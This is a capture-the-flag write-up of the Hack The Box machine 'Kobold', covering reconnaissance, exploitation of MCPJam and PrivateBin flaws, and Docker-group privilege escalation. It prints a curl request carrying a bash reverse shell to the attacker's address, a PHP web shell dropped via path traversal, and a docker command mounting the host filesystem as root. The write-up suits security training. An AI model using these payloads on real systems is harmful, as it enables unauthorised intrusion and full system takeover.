Kobold is an easy-rated Linux machine on Hack The Box that focuses on Kobold Agent, Arcane, and Docker-based misconfigurations. The machine highlights how inconsistencies between /etc/gshadow and /etc/group can introduce privilege escalation vulnerabilities, ultimately leading to full system compromise.
First, we need to check for the services and ports the machine exposes. We kick things off with an nmap scan.
We scan for the open and filtered ports on the machine, output the ports separated by comma, then we perform a default scripts and service detection scan on these ports.
sudo nmap -sVC --min-rate 400 10.129.42.80 -p $(nmap --min-rate 800 10.129.42.80 -p- | grep -i "open\|filtered" | cut -d'/' -f1 | grep . | tr "\n" ",")
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://kobold.htb/
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Sat, 01 Aug 2026 14:39:35 GMT
| <!doctype html>
| <html lang="%lang%">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
| <meta http-equiv="Pragma" content="no-cache" />
| <meta http-equiv="Expires" content="0" />
| <link rel="icon" href="/api/app-images/favicon" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
| <link rel="manifest" href="/app.webmanifest" />
| <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
| <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
| <link rel="modu
| HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Sat, 01 Aug 2026 14:39:36 GMT
| <!doctype html>
| <html lang="%lang%">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
| <meta http-equiv="Pragma" content="no-cache" />
| <meta http-equiv="Expires" content="0" />
| <link rel="icon" href="/api/app-images/favicon" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
| <link rel="manifest" href="/app.webmanifest" />
| <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
| <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_ <link rel="modu
We find that ports 22, 80, 443 and 3552 are open, where port 22 is for SSH, port 80 and 443 redirect to the hostname kobold.htb and port 3552 hosts a GoLang HTTP server.
Before moving any further it is imperative that we add the domain name to our /etc/hosts for name resolution.
echo "10.129.42.80 kobold.htb" | sudo tee -a /etc/hosts
Visiting kobold.htb in the browser we come across a simple website for Kobold Operations Suite.
Visiting port 3552, we come across an Arcane web portal. The box is running Arcane 1.13.0, searching the web reveals CVE-2026-23944. which is an authentication bypass vulnerability.
Arcane is primarily used to manage docker containers.
Next, we try to fuzz for other virtual hosts that the webserver on the machine might be hosting. We can use FFuF along with a wordlist from seclists to brute force possible subdomain names.
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u https://10.129.42.80 -H "Host: FUZZ.kobold.htb" -t 32 -fs 154
bin [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 1282ms]
mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 556ms]
This reveals 2 other subdomains: bin.kobold.htb and mcp.kobold.htb.
We add these to /etc/hosts using nano such that the entry becomes: 10.129.42.80 kobold.htb bin.kobold.htb mcp.kobold.htb.
sudo nano /etc/hosts
This is a PrivateBin version 2.0.2 site on the box.
Searching for CVEs related to this version across the web, we come across CVE-2025-64714.
This domain hosts an MCPJam server. On the settings page, we can see that it runs version 1.4.2.
Searching for a CVE related to this version we come across CVE-2026-23744 that allows remote code execution (RCE) by an attacker through specially crafted HTTP requests.
Searching for the MCPJam vulnerability's exploit we come across this Github advisory which includes the PoC.
To exploit this and achieve RCE, we will crate a reverse shell to our attack machine. For this, we get our ip address and open a netcat listener.
sudo ifconfig tun0
nc -lvnp 4444
Using this we craft the payload.
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\
"command\":\"bash\",\"args\":[\"-c\", \"bash -i >&/dev/tcp/10.10.16.x/4444 0>&1\"],\"env\":{}},\"serverId\":\"boom\"}"
This instantly gives us a shell as the user ben on the listener we set up.
The user flag can be obtained from Ben's Home.
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ cat ~/user.txt
We search for potential path for privilege escalation by executing a bunch of commands to understand the machine environment.
ben@kobold:~$ env
env
SHELL=/bin/bash
PWD=/home/ben
LOGNAME=ben
HOME=/home/ben
LS_COLORS=
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
USER=ben
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
_=/usr/bin/env
OLDPWD=/usr/local/lib/node_modules/@mcpjam/inspector
ben@kobold:~$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
operator group.ben@kobold:~$ ls -la /
ls -la /
total 81
drwxr-xr-x 22 root root 4096 Mar 16 20:57 .
drwxr-xr-x 22 root root 4096 Mar 16 20:57 ..
drwxr-xr-x 3 root root 4096 Mar 16 20:57 app
lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin
drwxr-xr-x 4 root root 1024 Mar 15 21:26 boot
dr-xr-xr-x 2 root root 4096 Mar 15 21:23 cdrom
drwxr-xr-x 20 root root 4040 Aug 1 14:26 dev
drwxr-xr-x 117 root root 4096 May 11 12:13 etc
drwxr-xr-x 4 root root 4096 Mar 15 21:23 home
lrwxrwxrwx 1 root root 7 Apr 22 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 22 2024 lib64 -> usr/lib64
drwx------ 2 root root 16384 Feb 21 2025 lost+found
drwxr-xr-x 2 root root 4096 Mar 15 21:23 media
drwxr-xr-x 4 root root 4096 Mar 15 21:23 mnt
drwxr-xr-x 3 root root 4096 Mar 15 21:23 opt
drwxrwx--- 5 root operator 4096 Mar 15 21:23 privatebin-data
dr-xr-xr-x 282 root root 0 Aug 1 14:26 proc
drwx------ 7 root root 4096 Aug 1 14:27 root
drwxr-xr-x 31 root root 960 Aug 1 14:34 run
lrwxrwxrwx 1 root root 8 Apr 22 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Feb 21 2025 snap
drwxr-xr-x 2 root root 4096 Mar 15 21:23 srv
dr-xr-xr-x 13 root root 0 Aug 1 18:17 sys
drwxrwxrwt 15 root root 4096 Aug 1 18:09 tmp
drwxr-xr-x 12 root root 4096 Feb 16 2025 usr
drwxr-xr-x 14 root root 4096 Feb 15 10:26 var
The operator group has read, write and execute permissions on /privatebin-data.
ben@kobold:~$ ps aux
...
root 2017 0.0 0.1 1671112 4148 ? Sl 10:27 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.17.0.2 -container-port 8080 -use-listen-fd
...
This part is done only to achieve command execution on the container (practice), it is not strictly required to get the root flag.
The root user is running the privatebin docker container.
This can be verified by either reading configuration files under
/etc/nginxor checking the service running directly usingcurl http://127.0.0.1:8080.
This means that we can drop in a PHP web shell in that directory and leverage CVE-2025-64714, to gain reverse shell into the privatebin container.
First, we confirm the vulnerability through a curl request.
curl -s -k --cookie 'template=../cfg/conf' -G --data-urlencode "cmd=id" https://bin.kobold.htb
Once confirmed, we drop a PHP webshell as ben into /privatebin-data/data.
ben@kobold:/privatebin-data$ echo '<?php system($_GET["cmd"]); ?>' > data/exp.php
curl -s -k --cookie 'template=../data/exp' -G --data-urlencode "cmd=id" https://bin.kobold.htb
uid=65534(nobody) gid=82(www-data) groups=82(www-data)
curl -s -k --cookie 'template=../data/exp' -G --data-urlencode "cmd=ls -la /" https://bin.kobold.htb
total 68
drwxr-xr-x 1 root root 4096 Mar 15 21:23 .
drwxr-xr-x 1 root root 4096 Mar 15 21:23 ..
-rwxr-xr-x 1 root root 0 Feb 16 08:24 .dockerenv
drwxr-xr-x 1 root root 4096 Oct 28 2025 bin
drwxr-xr-x 5 root root 340 Aug 2 10:27 dev
drwxr-xr-x 1 root root 4096 Mar 15 21:23 etc
drwxr-xr-x 2 root root 4096 Oct 8 2025 home
drwxr-xr-x 1 root root 4096 Oct 8 2025 lib
drwxr-xr-x 5 root root 4096 Oct 8 2025 media
drwxr-xr-x 2 root root 4096 Oct 8 2025 mnt
drwxr-xr-x 2 root root 4096 Oct 8 2025 opt
dr-xr-xr-x 280 root root 0 Aug 2 10:27 proc
drwx------ 1 root root 4096 Oct 28 2025 root
drwxr-xrwx 5 nobody www-data 4096 Aug 2 10:27 run
drwxr-xr-x 2 root root 4096 Oct 8 2025 sbin
drwxr-xr-x 1 root root 4096 Oct 28 2025 srv
dr-xr-xr-x 13 root root 0 Aug 2 10:27 sys
drwxrwxrwt 2 root root 4096 Mar 15 21:23 tmp
drwxr-xr-x 1 root root 4096 Oct 28 2025 usr
drwxr-xr-x 1 root root 4096 Oct 28 2025 var
We can check the groups on the system.
ben@kobold:~$ cat /etc/group
...
ben:x:1001:
ssl-cert:x:110:
docker:x:111:alice
alice:x:1002:
...
Turns out, the user alice is a part od the docker group.
As the user ben, when we try using docker, the permission is denied since we are not a part of docker group, however, using sg we are able to act as a part of the docker group.
ben@kobold:~$ sg docker -c "id"
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
So we can manage docker containers and use the privatebin docker container to attach the host filesystem to it, ultimately, reading the root flag.
ben@kobold:~$ sg docker -c 'docker run -v /:/hostfs --rm --user root --entrypoint cat privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txt'
<FLAG_REDACTED>
This concludes the Kobold machine!